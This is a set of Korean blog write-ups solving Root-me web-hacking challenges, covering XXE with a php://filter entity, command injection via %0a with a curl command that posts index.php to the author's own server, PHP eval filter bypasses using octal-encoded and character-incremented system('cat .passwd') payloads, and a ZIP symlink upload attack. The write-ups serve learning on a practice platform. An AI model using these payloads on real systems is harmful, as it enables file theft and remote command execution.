XML External Entity

 

 

 

 

 

 

다음과 같이 URL을 입력하면 RSS데이터가 잘 생성 되었는지 검증해준다.

administarator의 password를 얻으면 되는 문제이다.


문제풀이

 

 

 

 

Input box에 URL을 넣으면 XML을 읽어주는 기능을 하므로 우리가 원하는 XML파일을 서버에 업로드하여 password를 탈취 할 수 있다.

 

 

기본적인 XML RSS형식을 이용하여 Validity Check를 해보자.

 

 

<?xml version="1.0" encoding="UTF-8"?>
 <rss version="2.0">
  <channel>
    <title>제목</title>
    <link>주소/</link>
    <description>설명 (짤막하게)</description>

    <item>
      <title>제목</title>
      <link>주소/글 주소</link>

      <description>글 내용 전체(또는 일부)</description>
      <pubDate>시간</pubDate>
      <guid>주소/글 주소</guid>
    </item>
  </channel>
</rss>

 


다음과 같은 코드를 입력하고 전송하였을 때

 

 

 

 

 

 

 

 

 

다음과 같이 정상적으로 결과가 나오게 된다.

 

 

이제 우리가 원하는 데이터를 얻기 위해서 XML External Entity를 이용해야한다.

우리가 알고있는 것은 우선 보여지고 있는 페이지가 index.php라는 점을 이용하여 우선 index.php파일을 살펴보자

 

<!ENTITY xxe SYSTEM "./index.php" >]>

 

 

다음과 같이 external entity를 작성하여서 결과 값을 봤을 때에 원하는 결과 값을 얻을 수 없었다.

php filter를 안쓰고 그냥 보내면 출력한 페이지에서 php를 해석하여 보여주기 때문에 소스 자체를 볼 수가 없다. (생각

그래서 php wrapper를 이용하여 답을 구하였다.

 

 

 

 

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]>

 

 

 

 

 

 

 

 

나온 결과값을 base64 decode하면 flag 값을 얻을 수 있다.

 


XXE에 대해 문제풀기만을 위해 얕게 공부한 것 같아서 더 알앙봐야겠다.

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - Command injection - Filter bypass  (0) 2019.12.07
[Root-me] - PHP - Eval  (0) 2019.12.03
[Root-me] - File upload - ZIP  (0) 2019.12.03
[Root-me] - Local File Inclusion - Wrappers  (0) 2019.11.30
[Root-me] PHP - Serialization  (0) 2019.11.16

Command injection - Filter bypass

 

 

 

index.php 파일을 읽어야 되는 문제이며

ping test를 할 수 있는 웹페이지이다.


문제풀이

 

 

 

당연히 ;나 &를 넣어봤을 때 필터링이 될줄 알았는데 127.0.0.1;과 같이 연결해보니 잘되었다.

12;;;7.0.0.1 과 같은게 Ping OK라고 뜨는 것을 보면 공백으로 처리되는 것 같았고,

LOS풀 때 sql injection 할 때에도 사용한 %0a를 이용하니까 이번 문제도 풀 수 있었다.

 

 

처음에 %0a를 input box에다가 넣어서 삽질을 많이했다. (후.. input box에서 모두 문자열로 읽으므로 %0a가 단순히 문자열로 인식된다. ) 

 

 

다음과 같이 console창에다가 post형식으로 데이터를 전송해주면 %0a 뒤에 명령어를 넣어도 Ping Ok를 확인할 수 있다.

 

더보기

client=new XMLHttpRequest(); 
client.open('POST',"http://challenge01.root-me.org/web-serveur/ch53/",true); 
client.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); 
client.send("변수명=입력할 데이터");

참고사이트 : https://dongdd.tistory.com/29

 

 

이제 %0a로 뒤에 명령어를 연결할 수 있음을 알게 되었고

Ping OK만 뜨고 다른 출력문은 나오지 않으니 index.php를 직접적으로 출력하여 문제를 풀 수는 없다.

 

 

Blind command injection을 검색하여 여러 방법들을 찾을 수 있었는데 그중에서 curl 을 이용하여 문제를 해결하였다.

 

 

curl을 통해 우리는 index.php 파일을 우리의 서버에 전송하여야하는데 

curl 메뉴얼을 살펴보면서 --data 옵션으로 문제를 해결할 수 있었다.

 

 

curl --data-urlencode "name@file_name" 본인서버.

 

 

여기서 우리가 필요한 file_name은 index.php이므로 file_name부분에 index.php를 넣고

본인서버에 $_POST[name]으로 데이터를 받아서 다른파일에 저장시켜주면

해당 파일에 index.php 내용이 load되어 flag를 찾을 수 있다.

 

 

참고한 curl 메뉴얼 :                              

https://curl.haxx.se/docs/manual.html  

https://curl.haxx.se/docs/manpage.html

 


 

 

웹브라우저에서 렌더링 과정

https://jeong-pro.tistory.com/90

 

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - XML External Entity  (0) 2019.12.11
[Root-me] - PHP - Eval  (0) 2019.12.03
[Root-me] - File upload - ZIP  (0) 2019.12.03
[Root-me] - Local File Inclusion - Wrappers  (0) 2019.11.30
[Root-me] PHP - Serialization  (0) 2019.11.16

PHP - Eval

 

 

 

문제의 source code를 읽고 .passwd file을  읽으면 된다.

source code를 읽어보면 input으로 알파벳 문자를 입력하면 Dangerous code detected로 막히게 된다.

 

 

 

 

input 부분은 다음과 같으며 입력한 값이 eval함수를 거쳐 출력되게 된다.


문제풀이

 

 

 

우리가 사용할 수 있는 것은 특수문자숫자를 이용하여 풀 수 있다.

 

 

 

 

 

풀이 1 - 8진수 encoding

 

 

 

백슬래쉬와 숫자는 필터링 되어 있지 않기 때문에 8진수 encoding을 하면 쉽게 풀 수 있다.

 

기본이 되는 payload는 system(cat .passwd)를 사용하였다.

 

 

system   /  cat .passwd를 각각 8진수로 인코딩하여 사용하면 

( (,)는 그냥 쓸 수 있으니 따로 인코딩하지 않음

 

각각

system = \163\171\163\164\145\155

cat .passwd = \143\141\164\40\56\160\141\163\163\167\144   이 된다.

 

 

이를 변수에 각각 대입하여

Input 값에 넣게 되면 문제를 풀 수 있다.

 

 

 

payload : $_="\163\171\163\164\145\155";$__="\143\141\164\40\56\160\141\163\163\167\144";$_($__)

 

 

 

풀이 2 - 

 

 

문자와 숫자를 모두 쓸 수 없을 때 문자를 얻을 수 있는 방법이 있다.

 

 

php에서

변수에 배열을 선언함으로서 $_=[]를 하게 되면 $_엔 Array가 저장되며

$_="$_" 이 값을 문자열로 저장시켜 $_에 문자열 Array가 저장되게 할 수 있다.

 

 

"!"=="@"는 false -> 0을 이용하여 $_['!'=='@'] -> $_[0]에 접근할 수 있고

이를 통해서 $_의 배열에 접근하게 되면 문자 A 또는 a를 얻을 수 있다.

 

 

또한 php에서는 문자에 ++를 이용하여 문자를 증가(?)시키는 것이 가능하다.

ex) $_='a';              $_++; // a->b                              감소는 되지 않는다.

 

 

 

 

 

이와 같은 개념들을 이용하면 문자와 숫자를 사용하지 않고 모든 알파벳 문자를 사용할 수 있게되고 문제를 푸는데에 이용 할 수 있다. (다만 번거롭다.

 

문제에서는 숫자를 사용할 수 있으므로 $_[3]을 이용하여 바로 소문자 a에 접근하였다.

더보기

$_=[];
$_="$_";
$_=$_[3];


$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___=$__;

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__;

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;

$__=$_;
$__++;$__++;$__++;$__++;
$___.=$__;

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;

$____=$___;

$___="";

$__=$_;
$__++;$__++;
$___.=$__;

$__=$_;
$___.=$__;

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;


$___.=" .";

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;

$___.=$_;

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$___.=$__;

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;

$__=$_;
$__++;$__++;$__++;
$___.=$__;


$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$______=$__;


$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$______.=$__;

$______.=" -";
$______.=$_;



$____($___);

$____ -> system  $___ -> cat. passwd

위를 이용하면 문제를 해결할 수 있다.

 


비트연산자를 이용한 풀이방법도 있는 것 같은데 나중에 공부해봐야겠다.

File upload - ZIP

 

 

 

index.php 파일을 읽으면 된다.

 

 

 

 

문제 화면으로 들어가면 파일을 선택하여 업로드할 수 있는 기능이 있다.

 

 

 

 

 


문제풀이

 

 

 

 

업로드 기능을 이용하여 .php파일을 압축한 .zip 파일을 업로드해보면

 

 

 

 

 

 

 

다음과 같이 파일의 압축을 풀 수 있도록 해준다.

File unzipped here을 눌러보면

 

 

 

 

 

 

 

 

다음과 같은 페이지로 이동하며

/tmp/upload 디렉토리에 해쉬값으로 변경되어 저장됨을 알수있고

압축했던 test.php을 열려고 하면

 

 

 

 

 

다음과 같이 접근이 제한됨을 알 수 있다.

 

 

내가 올린 파일로 공격은 할 수 없을 것 같다.

index.php에 직접적으로 접근해야 할 방법을 찾다보니

symbolic link를 이용하여 공격하는 방법을 찾게되었다.

 

 

 

 

 

파일을 업로드하면 /tmp/upload/해쉬된 디렉토리에 파일이 생성되기에

index.php가 있을 것이라고 생각되는 /ch51 디렉토리에 있는 index.php를 가리키는 symbolic link를 생성해준다.

 

 

 

 

이후 이 파일을 zip을 해준다.

(symbolic link는 zip할 때 --symlink 옵션을 주지 않으면 일반 파일,디렉토리로 인식하여 압축하게 된다.)

 

 

 

 

 

그리고 위의 a.zip 파일을 업로드해주게되면

a.zip이 공격하는 사이트의 내부에서 unzip되기 때문에 ../의 절대경로가 서버쪽의 디렉토리를 가리키게 되어 우리가 원하는 index.php를 얻을 수 있을 것이다. (내 생각)

 

 

 

 

 

 

 

 

 

../../../index.php를 가리키는 link가 있고 이를 누르게 되면

index.php를 보여주고 안에 있는 flag를 통해 문제를 풀 수 있다.

 

 


 

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - Command injection - Filter bypass  (0) 2019.12.07
[Root-me] - PHP - Eval  (0) 2019.12.03
[Root-me] - Local File Inclusion - Wrappers  (0) 2019.11.30
[Root-me] PHP - Serialization  (0) 2019.11.16
[Root-me] SQL injection - Error  (0) 2019.10.07

+ Recent posts